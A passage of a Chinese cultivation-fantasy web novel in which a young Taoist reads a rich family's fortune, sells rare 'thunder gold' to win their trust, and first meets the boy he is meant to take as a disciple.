此时,距那天夜宴已经过去了十数天,自从在道观中借宿之后,赵尘每隔一两天便要来这沂州城一趟。每次天不亮便出门,日暮时分方回到道观。 正在这时,一群人拥着一架马车从远处驶来。马车周围,有骑马的,有徒步的,多是先天武者。赵尘从藏在袖中的玉柱可以感觉到,自己所寻找的这位有缘人,便在这马车之中。 赵尘侧身站在路边,看着从自己身后方向涌来的那群人,眼中闪过一丝无奈:希望这是一位丫鬓或者小斯吧。否则这要我怎么忽悠啊。不管啦,先看一下这位有缘人气运怎么样,要是气运太低,便不用这么纠结了。 随即,赵尘又想到周府那金黄色,虽对此不报什么希望,但还是将灵液滴入眼睛,施展灵眼术朝马车中看去,不由叹了口气。 马车中只有一个人。其气运,从外往内:先是大团大团的金黄色气运,好似云海般不断翻腾,起伏不定,聚散无形,越往内越是凝炼和稳定。在这团金色气运的最中间,一截青色的命格好像定子一般将气运镇住,这截青色的命格,形状好像一件翡翠,又好像一截纤细而又坚韧的翠竹。 果然,气运和命格都是上上之选,其若是在这红尘中打滚,这周家还能在其带领下更进一步都不止。 赵尘正心中思量着。忽然发现其命格上缠绕着一点丝丝缕缕的清气,心中不由一阵诧异,不禁暗道:“这是清贵还是清贫?” 这种清气,和气运那种青气完全不一样。其所代表的,依据清气形状和状态的不同,好坏能天差地别,从最上乘的有缘仙道,清贵逍遥,到最下层的一生清贫苦寒,差距极大。 而且这种清气也极其难缠,不但对命运的影响要高于命格,还远不是气运那样好处理。 正所谓“一命二运三风水,四积功德……十二趋吉要避凶”。由此可见,命格的突破有多么艰难。 而对于这丝清气的处理呢? 若是青色以下的命格,只有突破到青色命格时,用海量的功德冲刷,才能将这丝丝缕缕的清气消磨掉。若本身就是青色及青色以上的命格,也只有在命格突破时,用海量的功德冲刷清气方可。 先不说有没有那么多的功德,便是单说命格。青色命格已经是理论上个人可以达到的最上乘的那一批命格了。 所谓带有紫色的命格,那只有当朝的皇族和获得仙人庇佑的仙人嫡系子孙才有。这已经和个人努力无关,纯粹看出生。要想自己把命格突破到紫色,只有两种可能,一个是你自己或自己父亲开辟一方王朝、皇朝、帝朝之类的,二是你有一个喜爱你的老祖宗成仙了。 当然了,同一种颜色的命格,因为颜色深浅,命格的形状、大小等的不同,也有高低之分。由此可见,突破到青色命格和青色命格的突破都是难如登天的。 脑中回忆着各种命格、清气之类的知识,赵尘自己朝着“有缘人”的命格看去,只见其命格上的那丝丝缕缕的清气,显得轻灵、圆润,没有一点桎涩之感。 这般看来,这清气是说这位“有缘人”颇有仙缘,一生多是清贵逍遥了。赵尘随即放下心来, 可又想到,这样一来,这种天生的仙缘,只要这位“有缘人”心性、资质还可以,便要渡他一渡了,想到这里,赵尘不禁又叹了口气。 这种天生有仙缘之人,一来,自己就容易遇到有道的高士。二来,那些高人也多喜欢给那些天生有仙缘的人一份机缘。 就好像把人拉上岸,拉普通人,就好像从沼泽中来人,极其费力不说,成功率也不高,要是运气差点,还可能把自己陷进去。而渡天生有仙缘之人,就好像从江水中把人拉上岸,不说费的力要少一些,成功率要高一些,单是安全性,就要高很多。 这仙道崎岖,正是要互相帮扶,今天我拉你一把,说不定将来就靠你拉我一把呢?所以那些高人,遇到那些有仙缘之辈,不说渡其出苦海,多会随手赠送其一份机缘。就好像随手在地上扔几颗种子,对其能不能发芽甚至结果完全不报希望,但万一成了呢? 正在赵尘思绪飘飞间,马车正好从赵尘的眼前驶过,车中的“有缘人”好似心有所感一般,打开车窗,向外看了一眼。 赵尘看见马车从自己身前驶过时,一位十二三岁的锦衣少年忽然打开车窗朝自己看来,赵尘一甩拂尘,嘴角含笑的对其微微点头示意,同时周身法力悄然运转,气质极其的飘渺出尘。 待马车远去,赵尘心中想着:看来这少年便是师叔祖的师兄的转世之身了,现在就要好好想一想怎么将其从家中忽悠出去,并将其好好的磨炼一番。 心中念头转动间,赵尘又按照往常的习惯,来到距离其宅子不远处的一街角三叉路口。 也是占了这高武世界的福,这沂州城,虽有宵禁,但却没有修建坊市。因为这坊墙根本修不起来。就这坊墙,修个三五丈高,轻功稍好的后天前期的武者轻轻一跃就过去了。没有十丈,根本没什么意义。 要真修了十丈,先不说采光,只问用什么材料,修多厚?修厚了,城中这数百、数千乃至上万坊的坊墙,要占多少面积,耗多少材料,修薄了,先不说能不能支撑住十丈高的高度,要是被人随手拍塌了怎么办? 因为没有修隔坊市,所以这家宅子周围的街上,倒也是“市列珠玑,户盈罗绮”。一眼望去,真可谓“烟柳画桥,风帘翠幕”,说一句“参差十万人家”,那可是太谦虚了。 沿着街角的一排枝繁叶茂的大树旁,十数个身着粗布的小老头儿,靠在躺椅上,三五成群的看着街面,一边享受着连绵的树荫和穿街而过的微风,一边吹着牛。一片盛世繁华的景象。 第三十八章 周府 赵尘在街角处,挑了一个左边可以看见侧面角门,前面可以看见后门的地方,从袖中抽出一卷席子,铺在地上,转身坐在席子上,又从袖子中掏出一整套的行头,不一会儿,一个江湖骗子便新鲜出炉了,要不是长相年轻了一点,还真能忽悠不少人呢。 自从赵尘来到街角,几个老头儿便看了过来,一直看着赵尘从袖子中不断掏出各种行头,虽然赵尘不是第一次来这里摆摊,几个老头也不是第一次看到这一幕场景了,依然看的啧啧称奇,知道这是一个有本事的高人,不是寻常江湖骗子。 当然了,凭借城中百姓的见多识广,要是单纯的江湖骗子,没一点本事,早被周围百姓打断腿扔衙门里了。 直到赵尘把这一切都忙完,旁边一个老头开口问道:“小道长,今儿又来这里摆摊啊!” “这些天来,这是第七次看见道长在这里摆摊了。” “对啊,以前从未见过道长,这些日子却经常见到,不知道长在何处修行?” 因为这数天所见,对赵尘的脾气秉性也算有了一个大致浅显的了解,再加上现在也没个生意上门,几个老头便好奇的问了起来。 赵尘笑了笑:“小道自小在山中修持,倒也略有所得,门中长辈便让我下山来历练一番,这些日子在玄泉观中挂单。” 一个老头接过话:“这玄泉观,虽然不怎么大,但观中道长却都是有本事的高人。道长即在玄泉观中挂单,想来也是有本事的高人,不知道长怎么称呼。” “我哪里算什么高人啊,我俗家姓赵,师门长辈给起了个道名,唤作‘清微’众位喊我赵道人也好,叫我清微也罢,都随意。” “原来是赵道长,不知道长这些日子在这里摆摊子做什么?” “我初到这沂州城,见城中繁华,在这里和这里的有情众生结个善缘。”赵尘笑道。 “什么叫和众生结个善缘啊?” “道长看看,我和道长可有缘分?” 赵尘笑道:“我这话说的玄乎,其实,也就是自己被师门长辈赶了出来,在外流浪,前些天借宿在玄泉观里,想着总在一个玄泉观里蹭吃蹭喝不好,便到这城里来逛逛。见城里繁华,想着有没有机会骗些东西回去。对了,还不知道诸位怎么称呼呢?” “哈,”第一个开口的老头开口道:“道长说笑了。我姓吴,叫我老吴就好,那是老李,那是老楚,那是老郑,那是老曹、老卫、老马、老方……”老吴依次把周围的十几个老头都介绍了一遍。 “老吴……” 这十几个老头,虽不是什么鸿儒、高士,但数十年沉淀下来,倒也颇有些智慧,说话也极为风趣。几句话一聊,大家便熟络起来。 老吴等人也清楚了这个看起来就十六七岁的少年道人不但是有真本事的。而且本事大概还不小。不但对诸位的情况,大致都了解,并且,手指一弹,便把众人的各种老毛病给解决了。虽不知道有没有完全治愈,但各种症状都缓解、消失了。 赵尘坐在摊子前面,有生意时,如偶尔遇到几个看相、问挂的,亦或是瞧病的,众人也在旁边看个热闹。没生意时,便和众人天南海北的胡侃。 不一会儿,众人正聊到了气运,赵尘抬头看了看,扫视了一圈周围,便指着眼前的宅子,举起了例子:“比如眼前这家,整个两万多亩的宅子,半空中都被一层金黄色气运笼罩,气运浑厚,福泽绵延,要是不出变故……” “若是求富贵,千年富贵也是等闲;若是求前程,未来五六百年,每一代都出一位知府或数位郡守,这也不是不能期望的。若是不计代价的勃发一下……” 说到这儿,赵尘忽然收口,又问道:“这家周府,到底是何来历,这般福泽绵长?” 听到赵尘突然收口,大家也明白赵尘的意思,虽不至于因言获罪,但终究不怎么合适。见赵尘忽然转移话题,众位也没有多说,顺着赵尘的话,向赵尘解释起这周府的来历。 原来,这周府也算是沂州的传奇。 两百多年前,当时的沂州还是一个王朝的王城。 正值王朝后期,周家的老祖宗,即这代家主的天祖逃难进了沂州城,被一家酒楼的掌柜收留。五十年时间,从一名店小二到这沂州城赫赫有名的富豪。 这位老祖宗,一生行善积德,直到中年,才有了一个儿子。其便是这代周家的家主的高祖。 当时的周家,虽有金山银海,却被周围的显贵看不起。周家高祖一生科举,却连一个童生都一次未中,激愤之下,却寻了短见,只留下了年迈的老父和一个十三四岁的孩子,这便是周家的曾祖。 当时正值窦太祖花十余年扫平周围十二州,建立皇朝不到两年。周家曾祖一气之下带着一笔黄金远赴窦朝皇城,花钱捐了一个司库小吏。 周家曾祖离开时,周围都以为其定然会死在外面,都说周老爷子一生行善,却落了个白发人送黑发人的下场,而且怕是要断子绝孙了。 谁成想,这周家曾祖的官却越做越大,待其五十年后,告老还乡的时候,已经是一位二品的尚书了。这周府便是周家曾祖告老还乡,回来后修建的。当然了,当时的周府却还没有这么大。 那时的周家,虽不会被周围显贵明着看不起,却也被暗中鄙视和隐隐排斥。当时周家曾祖在做尚书时,荫庇了一子,从一个从九品的散官开始,最后在济州刺史的位置上退了下来。这便是周家这代家主的祖父。 再后来是这代家主的父亲,正统的科举出生,官至三品侍郎,后告老还乡。这两代,周府虽有扩建,但都不大。经过三代人的经营,这周府终于从周围显贵眼中的暴发户变成了书香门第。 最后便是这代的周家的家主了,正统科举出生,宦海沉浮七十载,官至从一品大学士,封爵宁阳乡男。 沂州城作为沂州的州城,其周围一府之地叫做沂州府,简成沂府。沂府坛山以北有一郡,名为:坛阴,坛阴郡紧贴坛山之地为坛安县,这宁阳乡便是坛安县的一个乡。 第三十九章 取信于人(上) 至周家家主告老还乡时,又进正一品,加太师,封宁阳乡子。按惯例,待其去世时,官职上是升无可升了,但爵位怕是还要再提一等,封坛安县子了。现在这周府便是十五年前,周家家主告老还乡后,按照子爵的标准扩建的。 现如今,这周家家主的儿子,也是科举出身,在京内做官。三个孙子,长孙同样科举出身,在外做县令,二孙自小好武,目前在军中任职,三孙子在府中,经营着周家在城内的产业。 这周家虽然煊赫,但却人丁不旺,加上大多数都随大老爷:家主长子,住在京中,这周府的人丁就更少了。除去仆从和少量女眷,只有老太爷:家主;三少爷:家主的三孙子;小少爷:家主的曾孙三个男丁。 听众人说完,赵尘不禁赞叹道:“近两百二十年,八代人啊……” 同时心中暗道:据书中所载,这人间,乡下有乡绅,县里有豪强,郡内有望族,府中称名门,州上称世家。看着气运,这周家虽底蕴浅薄,即便名传诸州,却远不能和诸世家名门相比,但道一声郡望已是绰绰有余了。不过周家这个郡望虚的很。 便在这闲聊间,时间一晃而过,直到未末时分,赵尘又等了一刻多钟,见没有客人,便起身将自身行头一卷,随手塞进袖中。 “道长这是收摊了?” “对,反正也没什么客人,正好再去城中看一看,便出城回观。”说话间,赵尘整了整衣袍,三五步之间,便消失在街道的另一头。 赵尘行走在城中,心中思量着,那少年应该就是周家的小少爷了。自己要怎么接近这位周家小少爷,又要怎么和周家打交道。若是直接上门,说要称量一下他家的小少爷,若合格的话,便带其出门修仙,怕是直接被打出门都算轻的。 忽然,赵尘看到了一间属于周家的金银铺子,想到之前老吴他们说的,周家这段时间正在府中大兴土木,忽然心中一动,便转身向旁边的铺子走去。 赵尘刚进铺子,便有位伙计迎了上来:“这位道长,可是要买些金银用来炼丹制器?” 见赵尘摇头否认,伙计又问道:“那可是要从小店兑换一些古钱币,制作法器?”一边说着,一边将赵尘迎到一旁坐下。 “都不是,我要卖一些金沙给你们店,数量有些大,你做不主。”赵尘在位子上坐定,摆了摆手,对伙计说道。 不一会儿,一个掌柜模样的中年男子坐到赵尘身侧:“听说客人要卖一批金沙给本店?” “对,不过数量有些大,不知道你们铺子吃不吃的下?” 说着,赵尘从袖中摸出一个指甲盖大小的瓶子和一张雪白丝帕。赵尘将瓷瓶中的东西全部倾倒在摊开的丝帕上,示意掌柜看去。 掌柜仔细一看,只见雪白的丝帕上,洒落着一点近乎粉末大小的金色的颗粒,放出耀眼的金光,但隐约之间,好像又有一层微不可查的紫色光晕颤抖。每一粒颗粒都远远小于最细的细沙,但又略粗于灰尘。 掌柜看着丝帕上的颗粒,觉有点眼熟,又想不起来到底是什么。略有疑惑的看了赵尘一眼:“客人,这……” “这是雷金,不知掌柜听说过没有?” “雷金?” 掌柜闻言,连忙让伙计取来一根牛毫粗细,一尺多长的银针,将一粒雷金从丝帕上拨下来,捻在手中仔细观察起来。 雷金掌柜自然是听说过的,传说中,一些被雷霆劈中的天然黄金,可能会产生一两粒,大小差不多,饱经雷霆洗礼的粉末颗粒,这一两粒被雷霆洗礼的天然黄金粉末颗粒,便被称作雷霆紫金,简称雷金。 雷金因为本身是天然黄金,历经自然造化,又经雷霆洗礼,不但能散发出金性不朽的气息,还能散发出浩大阳刚,诸邪辟易的气息。 所以一些富贵人家,若是有缘,能够得到一两粒,或是供奉在家中重要地点,用来辟邪。或是制成配饰,戴在身上。就掌柜所知,小少爷脖子上带着的那件黄金长命锁,里面便裹着一粒雷金。这还是府中出材料,由自己亲手打制的。 再其上,便是那些王朝、世家,收集一些雷金倒入清漆中,刷在一些私密房屋的墙壁上。用来辟邪和防止鬼神、修士的窥探。 再往上,若是能收集到足够的雷金,当做建筑材料添加进房屋、宫殿中,便更了不起了。就此而言,雷金对于人间的富贵人家来说,是永远不嫌多的。 由此便可以看出雷金的珍贵之处。一钱重的雷金价值一千两黄金,但往往更多的是有价无市,当年窦太祖开辟皇朝时,为了修建皇宫,倾整个皇朝之力,也只收集到不过数百斤雷金。 又因为雷金每一粒都大小差不多,每一钱雷金都是九百多粒,近一千粒。所以正常情况下,雷金都是以一两黄金一粒的价格论粒卖的,并且也是有价无市。 赵尘就是因为听见周府最近在大兴土木,忽然想到这一点,所以才来周家的金银铺子中出售雷金。卖雷金不是关键,关键是向周家证明自己不是寻常江湖骗子。 “果然是雷金!”仔细研究了好一会儿,掌柜将那颗雷金小心地从半空扔回丝帕上:“不知客人有多少,小店全收了。” 说着,同时示意伙计将铺子里的两三个客人全部请了出去,并安排两个伙计去铺子外守着。 见此,赵尘又笑着从袖中掏出了一个小白玉匣子,将之打开,并推给掌柜:“估计你做不了主。” 这个小匣子里面装的雷金,大概六七斤重,足足价值六七十万两黄金,六七千万两白银。钱到是其次,六七十万粒的雷金,这个数量更令人吃惊。 掌柜看着被打开的匣子,只见匣中装了半匣子的金色颗粒,好似金粉一样,耀眼的金光直让人有些睁不开眼。但在那半匣金沙之上,又染上了一层淡淡的紫晕,在其上不断流转。 等赵尘将匣子合上,掌柜低头看了眼身前好像一块完整白玉的匣子,随之抬头对赵尘苦笑道:“客人说的没错,数千万两银子的货,我确实没有资格做主,还请客人稍等。”随即一边和赵尘攀谈着,一边摆了摆手。 第四十章 取信于人(中) 整个周府,一共有内管家三人,外管家五人。其中,第三外管家姓李。 周家在整个沂州的生意,包括沂州城内的的各个店铺,基本都由其掌管。其爷爷时便开始为府中效力。据说他爷爷小的时候还看见过周家那传说中的开家的老太爷。李管家也一直为此自豪。 这天下午,李管家正在书房中核算着账目。忽然听见城中金银铺子的伙计来寻,连忙将由府中账房提交来的,各铺子中的账本收好,并将书房锁好。出去询问伙计其来意之后,先让其下去休息,随后打听清楚三少爷的位置,向其赶去。 李管家在一个小花园中寻到了三少爷,见其正在树荫下,石桌旁,捧着本书,看得津津有味:“三爷!” 正看得入神的三少爷忽听见李管家的声音,抬头向李管家看去,同时将手中书卷随手放在石桌上,同时伸了个懒腰,微微活动下有些僵硬的身子:“李叔,什么事?” 同时在心中想着:“这个时候,李管家一般情况下都在核算账目,若没有重要的事情,不会来找知己,莫非账目……” 正思量着,便听见李管家开口道:“三爷,城里的金银铺子来报,有人要出售大量雷金,需要您拿个主意。” “有人卖雷金,买下来就是了。莫非这雷金有什么问题?”三少爷一边说着,一边活动了一下手腕。 “确实有两个问题,一来数量很大,二来,这府里前些日子才传出消息,说是要修园子,忽然就有人拿出雷金到店中卖,怕是有炸。” “哦?数量很大,有多少?” “据从店里来的伙计说,大概在六七斤左右。” “多少?” “说是有六七斤,大概六七十万粒。而且也确实看见了。” “怕就是皇家也一下子拿不出这么多吧,这位客人不是一般人啊,”三少爷右手按在石桌上,用手指敲打着石桌:“府中大概有多少现银?” “我现在可以抽调三千万两银子出来,据我估算,府中的现银,应该在九千万两左右。具体的,要去问大管家。” 周三少爷想了想:“六七斤的雷金,只要那人愿意卖,就一定要将之买下来。李叔……” “三爷,您吩咐!” “你亲自去和那位客人谈,有多少雷金全部吃下,看那位客人愿不愿意再买些货物,若是愿意的话,可以用成本价给他。若是不愿意的话,便全部用现银结算。这其中涉及到的钱货的调动,我回头亲自去和燕伯说,让燕伯配合你。” “能有大管家帮忙,这事情就更顺利了。” “至于这其中是否有炸,只要这雷金是真的,只要这买卖的过程公平自愿,就真有问题,那也不算什么。” “好的,三爷,那我就去了。” 三少爷点了点头,重新将书从桌上拿起:“别忘了让人查一查那人的底,要真有意外,也好做出准备。” 李管家从小花园离开后,便带着金银铺子的伙计向店铺赶去。 刚进铺子,便看见铺子的掌柜正和一年轻道人对坐在一侧的桌子旁。 道人十六七岁面容,一身青色道袍,周身气质极是不凡,李掌柜抬眼看去,直给自己一种清净、飘渺之感,让人见之忘俗。 正在陪赵尘闲聊的掌柜,忽然看见进门的李管家,连忙起身为赵尘介绍起来。 一番介绍之后,李管家和赵尘重新落座,掌柜将桌上茶水点心换过一遍之后,侍立在一旁。 “不知道长怎么称呼,在哪出仙山修行啊?” “我俗家姓赵,居士喊我一声赵道人就行了,至于在何处修行,”赵尘笑着摇了摇头:“如今正在四处游历,前些日子来到沂州,如今挂单于玄泉观。” 一番寒暄之后,看着一举一动,一言一行都好像一轮皎皎明月一般的赵尘,李管家努力将这些念头从脑海中压下,开口道:“道长这半匣子雷金,若是一粒粒的数,一时半会儿的怕是数不清楚,只能称重了。好在先前掌柜已经称过,一共六斤七两九钱五分六厘三毫,道长可有异议?” 见赵尘微微摇了摇头,李掌柜道:“按市价,应付给道长黄金六十七万九千五百六十三两。在加上玉匣,当付道长黄金六十八万两,亦或者白银六千八百万两,可否?” “可以。”“不知道长可需要一些货物,我可以以成本价给道长,毕竟近七十万两黄金的数额太大了,”和赵尘谈好价钱之后,李掌柜又斟酌道:“当然了,若道长要现银的话也没有问题,最迟两个时辰,就可以将银子从来。只是……若是送往玄泉观,那只能等明天了,还望道长谅解。” “可以,只是不知你家有些什么货物?” “多谢道长体谅,我家的货物种类都已经为道长整理了出来,都在这册子上。”说话间,李管家满脸笑意的将一本册子交给了赵尘。 赵尘随手将册子接过,见上面少量比较珍贵的货物上标注了数量,剩下的大多数只有一个名字。 “确实没什么好东西,算了,还是抓几副用来配置香泥膏脂的材料吧,我现在元婴境的修行虽然陷入停滞,但将来化神、元神时还是有需要的。还有些其他效用的方子,到也是能凑出几副。”看着册子上的各类名目,赵尘暗自心道。 随后,赵尘看见册子上还有三十二块大小不一的陨石,因为不是陨铁,也留了下来。想着这陨石也许还能炼出一点星光出来,便也记在了心中。 一番翻阅之后,赵尘将册子还给李管家:“烦劳拿些纸笔来,我写几个方子,这每张方子上的的各类东西算作一份。你家能凑出多少份就给我到少份,按方子包好。还有,将那三十二块石头也送来。” 李管家将册子收好,又接过赵尘手写的十来张方子,心中估算了一番道:“道长,这三十二块陨石总共九十七万三千九百两。你这些方子,最便宜的一副不到三十两。最贵的,一副将近五万两。一共可以抓一万七千余副。大概是五千六百七十余万两。” “两者相加,一共……” 第四十一章 取信于人(下) “一共便算五千八百万两吧!”不等李管家说完,赵尘打断道。 同时也在心中感叹这每一阶之间的巨大差异,从这修行所用的耗材之间的巨大差距就可以看出来:第一阶的时候,省着点的话,几千两银子便可以将大多数情况准备妥帖。到第二阶,直接在后面添了一个万,这还是最基本的修行消耗, “所谓‘穷文富武,修道破家’,这破家可不止是因为那虚无缥缈的气运之类的,还有那实实在在的财货啊!” 李管家闻言看了看赵尘,随即笑着作揖道:“那就多谢道长厚赐了。不知说剩下的银钱,道长是要银子还是黄金,还有这银钱和货物,不知送到何处?” “都送到这里吧,至于银钱,黄金也罢,白银也罢,我都无所谓。” 之后一个多时辰,赵尘将源源不断送到这里的东西全部收入袖中,待一切结束后,赵尘便辞别李管家,从铺子中离开。 …… “三爷!” 换了身衣服,正在林荫间踱步的周三少爷转身看向李管家:“李叔,情况怎么样?” “将近六斤八两,已经全部收回库房了。那人收了一千万两的现银,剩下的全部挑选的各种物资。”说着,李管家便从袖中抽出货单,双手向周三少爷递去。 周三少爷摆了摆手,没有接过货单:“这没什么好看的,等回头……对了,这批雷金有没有什么问题,还有那人,对府上是否有什么不好的心思?” “目前看来,这批雷金没什么后患。至于人,那应该是一位修行者,那……” 李管家将和赵尘见面的情景对周三少爷细细描述了一番,最后总结道:“那位赵道长,对府上应该没什么恶意。” “修行者?这倒也是意料之外,情理之中。传说那些修行者食云气,餐朝霞,采灵药,炼仙丹。不但手段玄奇,而且寿元绵长。甚至还能长生不老,得道成仙……” 听说这人对府上没什么不好的心思,货也没有什么后患,又将注意力放到了李管家所说的修行者上了,随即羡慕的感叹了起来。 忽然看见李管家脸上欲言又止,不能确定的表情,询问道:“怎么了,不是说那个修行者对府中没有恶意吗?” “没有恶意是没有恶意,但我感觉这位赵道长来府中售卖雷金,也另有目的。就像……” “就像什么?” “就像是通过售卖雷金来向府中自证身份一样。” “哦?”周三少爷闻言敲了敲手心:“这倒是有意思了。关于这位赵道长,李叔你还了解些什么?” “据这位赵道长所说,其正在游历四方,目前正在玄泉观落脚。至于真假,这应该是真的,只是还没有派人去打探。” “自证身份,那就是要取信于人了。既要取信于人,无论这位赵道长自证的身份是真是假,那都是要有所求了。李叔,你觉的这位赵道长所求为何?” “大概不是求财,”李管家仔细回忆着和赵尘见面时的细节,斟酌道:“或是为了借助府中力量收集一些什么东西,或是为了名望、香火、气运之类的,亦或者便是冲着人来的……” 两人一番猜测之后,周三少爷总结道:“好了,无论这位赵道长所求为何,将来一定会再打交道的,到时便清楚了。目前先将其的具体情况都打探清楚。还有,回头将这件事和爷爷说一声。” …… 等赵尘回到道观时,天已经完全黑了下来。站在观外,看着半掩的大门,赵尘无声的笑了笑。自己今天这番举动非常突兀,想来他们只要稍作打听,便可以知道自己的意思。 正在这时,一个小脑袋从门后伸了出来,四处张望了一下,忽然看见赵尘,立刻开心道:“是师叔啊,你可算回来了!” 说话间,一个十一二岁的道童从门后面窜了出来。这道童姓路,名登云,虽有几分灵性,但不是修行者,所以也不是正式的弟子。 毕竟神魂一脉的修行法门,若非悟性奇高,又没有前辈以秘法牵引,想要入门,非皓首穷经,便是几度沉浮,大彻大悟。就像之前赵尘在船上留下的那套法门,若非赵尘用神识之力暗中在书中留下了一套牵引秘法。沈想要入门,若没有意外,等几十年后再说吧。 脑中的念头一闪而过,赵尘连忙伸手将收不住脚,往前直窜的路登云扶住:“辛苦师侄了。” “不敢,这都是弟子应该做的,师叔城里有什么好玩的,可以说说吗?” 赵尘也知道,向他这样的道童,正是贪玩的年纪,而且又每三五个月才有一次,随正式入门的弟子一起去一趟城里的机会,便拣起几件自己看见的有趣的事情和其说了起来。 说话间,两人将大门关好,回到观中,在分别之际,赵尘随手将一丝先天灵气弹入路登云体内,作用不大,只相当于一次小小的洗筋伐髓,也就有一个强身健体的功效,对资质的提升微乎其微。 “多谢师弟了,登云这小子能有这份缘法,到也是他的造化!” 赵尘转过身来,见常和不知什么时候出现在自己身后不远处,将脑中一闪而过的惊诧念头抚平:“师兄言重了,不过一丝先天灵气而已,真说效用,有近乎无罢了。” “一丝先天之意,作用再小,将来也可以让其更近道几分。” “先天之意……” 赵尘心中一点灵光闪过,又随之将其压在心底,几步之间,赵尘便来到了自己的院子。 赵尘看着身前的常和,想着刚才,其带着自己施展缩地成寸类的法术,在这移步换景之间,自己竟一点也没察觉出来,心中对真君的恐怖,又多了几分体悟。心中莫名想到:“当初自己能战胜许晏,莫不是旁边有人在拉偏架吧!” 赵尘越想越觉得如此,虽还不至于当场扣出三室一厅,但脚趾头还是不由的在鞋中搓了搓。 两人分别落座之后,赵尘开口问道:“这么晚了,不知师兄寻我所谓何事?” 第四十二章 先天婴孩真意 常和端起茶杯抿了一口,看了眼石桌上的青铜灯盏,心中赞叹了一句赵师弟不愧是大派弟子:“没什么,只是看师弟今日回来迟了,所以过来看看。” “若是我所料不错的话,师弟应该寻到了那位有缘人了吧!” 想到自己看见的那位周家小少爷,赵尘原本微笑的嘴角不禁僵了僵,随即叹了口气:“唉……找是已经找到了,可渡却不好渡啊!” “这有什么不好渡的,莫非其还能舍得这仙道逍遥。”常和笑道。 “难不成是其自身有什么太重的因果之类的,自身和仙道无缘,不知这人是谁?” 说话间,常和抬眼看了看赵尘,只见赵尘身上的因果之类的,或是被斩断,或是被遮蔽,或是被镇压,果真是混元无漏啊! 对于常和的窥探,赵尘丝毫没有察觉出来:“其本身倒是和仙道挺有缘,命格上缠绕着一丝清气……” “清气?” 见常和不知道命格上的清气是什么,赵尘随即解释了一番。 “不想命格上还有这种玄妙,”常和大感收获不小,随即对赵尘躬身一礼:“多谢师弟教诲。” 赵尘随后又将自己看见周家小少爷的情况说了一遍:“这种人家,想让其随我去出世修行,难度着实不小。而且按照师门的意思,也不是说直接就带其回师门,而是先磨炼几年,在根据磨炼的结果,或是带其师门,或是送其归家。” 听完赵尘的话之后,常和想了想道:“这位周家的小少爷,名唤周嗣。听名字就知道周家现在的老太爷对其期望不小。这周嗣不但是周府的长子长孙,还是周老太爷目前唯一的曾孙。” “所以说渡这位周嗣随师弟你去修行这件事,说难却是很难……” 听到这里,赵尘本来随着常和的话而越发愁苦的心却突然有了几分希望。因为一般来说,这样说话的话,后面一般都会有一句“但是”。 常和一眼看出了赵尘心中的想法,笑着点头道:“但是说简单也简单。周家的那位开家老祖宗目前正在神君处为吏,自然明白仙道的清贵逍遥。以师弟的身份,等周家的人了解之后,一定会千恩万许的……” 随后,常和又和赵尘说了许多周家老祖的情况,随后两人又闲聊了一番之后,便和赵尘起身告辞离开了。 等常和离开之后,赵尘回到房中将一切准备妥帖之后,向先前压入心底的那一点灵光又重新翻了出来,细细思量道:“先天之意,呵,果然是‘不识庐山真面目,只缘身在此山中’啊!先天生灵的元婴境,想来我这元婴的最后三寸三分,便是要参悟出这先天婴孩真意了。” 想到这里,赵尘的心中骤然有所感应,好像心血来潮一般。这也是先天生灵和后天生灵的区别之一,便如同常和所说的那样,先天生灵与道更近。 “虽然这所谓的先天婴孩真意依然虚无缥缈,但至少有了努力的方向。要不然如同之前那样的水磨工夫,怕是要一、两百年之功,元婴境三百年的寿元,大半都要砸在上面。” …… 又过了一些日子,一天上午,赵尘依旧和往常一样在城中闲逛,忽然发现那位每次都在的贩卖鲜果的小贩却没有来。惊奇之下,赵尘支棱着耳朵听了一路,才弄明白情况。 大概在一个多时辰前,那卖鲜果的小贩的摊子前来了一个道士,说是想求小贩舍几个果子给他解解馋,小贩自然是祖传的不许。 在道士反复纠缠,小贩连连拒绝之后,后面的事情就和赵尘知道的那个《种梨道士》的故事差不多,道士卖弄法术,将小贩的鲜果一枪而空,而且给周围的每个人都分了几个,便是那平常在不远处乞讨的乞丐都被道士硬塞了几个鲜果。 结果小贩呼天抢地的收拾着摊子走了,便是那被道士硬塞了几个果子的乞丐,大概是今天有果子填肚子,都不知跑到哪里去了。 赵尘闻言不由向路人询问道:“按理说那位小贩不应该欢喜吗?便是喜极而泣,也不应该哭的呼天抢地啊?” “谁知道呢,也许是那小贩一时没转过念头来呢!” 听了一耳朵家长里短的赵尘又来到老地方,将行头铺开,便和周围几个老头闲聊了起来。 这么多天下来,赵尘倒也零零散散的接待了数百名客人,多是看相、测字,少数是为了一些疑难杂症求医问药。因为地处道城隍治下,又逢太平盛世。所以,既没有人请赵尘捉鬼驱邪,也不需要赵尘广施符水,治病救人。 对此,赵尘不禁感叹:“果真是好地方啊,一片锦绣繁华,单这普通民众的生活水平,也远好于临水城那边啊。” 正感叹这,赵尘忽然看见周嗣在三名护卫的保护下,从周府的一处角门出来,向这儿走来。见此,赵尘心中一动,暗自笑道:“终于来了。” 赵尘明白,这是周家大致猜到了自己的目的,正在试着和自己接触。 周嗣近日经常听府中人说道,在自己家门口,来了一个有本事的道人为人测字看相、治病施药,听说颇为灵验。今日正好得闲,一时好奇之下,便在三名护卫的保护下,走到赵尘摊前。 赵尘抬眼看去,大概是因为在家门口,三名护卫,除了一名是真意境的先天武者、剩下两人都是后天圆满。 至于防备自己,想来周家也明白,那压根不是先天武者可以做到的,数量再多也没用。 想到这里,赵尘又转过头向周嗣看去。十二三岁模样,头上一顶小巧的束发镶玉银冠,眼神极是清澈、灵动,衣饰和上次相比也算很素雅了。 在赵尘打量周嗣时,周嗣也在观察着赵尘。 周嗣发现,这道人自己曾经远远看见过一次。那次,其身上那缥缈出尘的气质,着实让人难忘。如今走近一看,那又是一番景象。 第四十三章 初会周嗣 十六七岁面容,看着不比自己大上几岁。头上并没有戴冠,只是简单的用布条系住,再插了一根木簪。布条看着朴素,细细看去,却又好像是用云霞织就。 面容也十分普通,便是极尽溢美,最多最多也只能一咬牙说一声还算清秀吧。但多看几眼,却又给人一种顺眼之感。细细看去,竟又有一种在放光的感觉,好像有一层无色透明的毫光在其脸上流转。 再往下是一身粗布道袍,周嗣细细观察了一番,这粗布看起来好像没有什么玄机。不像发带那样,只是看着像粗布。 但随着衣袖摆动之间,却又给人一种云烟流转之感。整体看来,其就好像一座巍峨高山,山腰之上不断有云烟翻滚。 将脑海中的种种念头全部压了下去,周嗣想起三叔所说,这位道人姓赵,是个有本事的修行者,心中念头转了转:“小道士,近日时常看你在这里摆摊,听说极是灵验,不知可是真的?” 